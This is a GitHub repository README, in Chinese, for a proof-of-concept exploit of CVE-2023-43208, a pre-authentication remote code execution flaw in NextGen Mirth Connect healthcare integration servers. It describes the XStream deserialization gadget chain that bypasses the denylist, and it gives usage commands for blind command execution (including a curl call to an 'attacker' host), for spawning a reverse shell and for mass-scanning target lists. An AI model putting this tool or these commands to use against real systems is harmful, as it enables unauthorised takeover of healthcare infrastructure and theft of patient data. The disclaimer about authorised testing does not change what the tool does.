kyakei/CVE-2023-43208

GitHub: kyakei/CVE-2023-43208

针对 NextGen Mirth Connect 医疗集成平台的认证前远程代码执行漏洞 PoC,通过 XStream 反序列化绕过黑名单机制实现无认证攻击。

Stars: 2 | Forks: 1

# CVE-2023-43208 — Mirth Connect 认证前远程代码执行 (RCE) **NextGen Healthcare Mirth Connect < 4.4.1** 中通过 XStream 反序列化绕过实现的认证前远程代码执行。 ## 概述 Mirth Connect 使用 Java XStream 库在 `/api/users` 端点上**无需认证**即可反序列化 XML 载荷。最初的修复 (CVE-2023-37679) 引入了危险类的黑名单机制,但通过结合 Apache Commons Lang3 中的 `EventBindingInvocationHandler` 和 Commons Collections4 的 `InvokerTransformer` 链成功绕过了该限制。 Mirth Connect **4.4.1** 版本通过从黑名单切换到白名单修复了此问题。 ## 环境要求 ``` pip install requests ``` Python 3.10+ (使用了 `match` 语句)。 ## 使用方法 ### 检查目标是否存在漏洞 ``` python3 exploit.py check -t https://target:8443 ``` ### 执行命令 (盲 RCE — 无输出) ``` python3 exploit.py exec -t https://target:8443 -c "id" python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned" ``` ### 弹出反向 Shell ``` # 终端 1 (或让 script 处理 listener): python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444 # 为了获得更好的 shell 体验,请使用 rlwrap: rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444 ``` ### 扫描多个目标 ``` python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30 ``` ## 攻击链 ``` POST /api/users (no auth) │ ▼ XStream deserializes XML payload │ ▼ sorted-set triggers Comparable.compareTo() │ ▼ dynamic-proxy → EventBindingInvocationHandler (bypasses denylist) │ ▼ ChainedTransformer.transform() │ ▼ ConstantTransformer(Runtime.class) → InvokerTransformer("getRuntime") → InvokerTransformer("invoke") → InvokerTransformer("exec", ) │ ▼ OS command execution as Mirth Connect service user ``` ## 免责声明 本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法行为。在测试前请务必获取适当的授权。 ## 参考 - [NVD — CVE-2023-43208](https://nvd.nist.gov/vuln/detail/CVE-2023-43208) - [Horizon3.ai — 文章](https://www.horizon3.ai/attack-research/disclosures/nextgen-mirth-connect-pre-auth-rce-cve-2023-43208/) - [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
标签:Apache Commons, Blind RCE, CISA项目, CTF学习, CVE-2023-43208, GetShell, GHAS, Java安全, Mirth Connect, NextGen Healthcare, PoC, Python, RCE, Web报告查看器, XStream, 内网渗透, 反序列化漏洞, 安全测试, 攻击性安全, 无后门, 无服务器架构, 暴力破解, 白名单绕过, 编程工具, 远程代码执行, 预认证